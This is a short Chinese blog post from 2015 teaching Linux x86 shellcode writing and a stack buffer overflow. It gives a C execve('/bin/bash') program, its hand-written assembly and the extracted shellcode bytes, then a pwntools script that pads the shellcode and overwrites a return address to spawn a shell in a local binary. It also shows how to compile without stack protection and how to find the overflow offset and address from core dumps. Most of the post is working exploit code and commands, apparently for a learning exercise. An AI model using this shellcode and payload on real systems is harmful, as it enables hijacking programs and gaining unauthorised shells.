Linux下shellcode编写

1.由C代码转为AT & T汇编代码

#include <stdio.h>

int main(int argc, char **argv) {

char *name[2];
name[0] = "/bin/bash";
name[1] = NULL;

execve(name[0], name, NULL);

return 0;
}

 

为了避免链接干扰,静态编译上述代码:gcc -static -o shellcode shellcode.c -g

 生成test后,通过gdb shellcode寻找底层指令:main->execve->__kernel_vsyscall->int 0x80

找到核心汇编代码:

__asm__
(" xor %edx,%edx;\
push %edx;\
push $0x68732f2f;\
push $0x6e69622f;\
mov %esp,%ebx;\
push %edx;\
push %ebx;\
mov %esp,%ecx;\
xor %eax,%eax;\
movb $0x0b,%al;int $0x80;\
");

通过objdump -t test_asm获取二进制代码:char shellcode[]="\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";

打开栈不可执行:gcc -fno-stack-protector -z execstack -o test test_asm.c -g,测试二进制代码是否可以执行。

2.Python加载器

利用Python可以轻松构造溢出字符串

#!/usr/bin/env python
from pwn import *
p = process('./pure')
ret = 0xbffff2e0
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
#fp = open("out",'w')
#fp.write(payload)
p.send(payload)

p.interactive()

3.溢出点的确定和返回地址的确定

通过pattern.py以及gdb很容易确定溢出点。

返回地址则和程序所处的具体环境有关,程序在gdb、Python加载器和单独执行的情况下栈的地址都是不同的。

当程序出现core dump的时候,通过

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
可以再/tmp下面发现内存镜像,再次调用gdb+程序+内存镜像调试即可获得确切的地址。
 
BINGO!

 

posted @ 2015-12-13 15:59  大魔王Faker  阅读(1750)  评论(0编辑  收藏  举报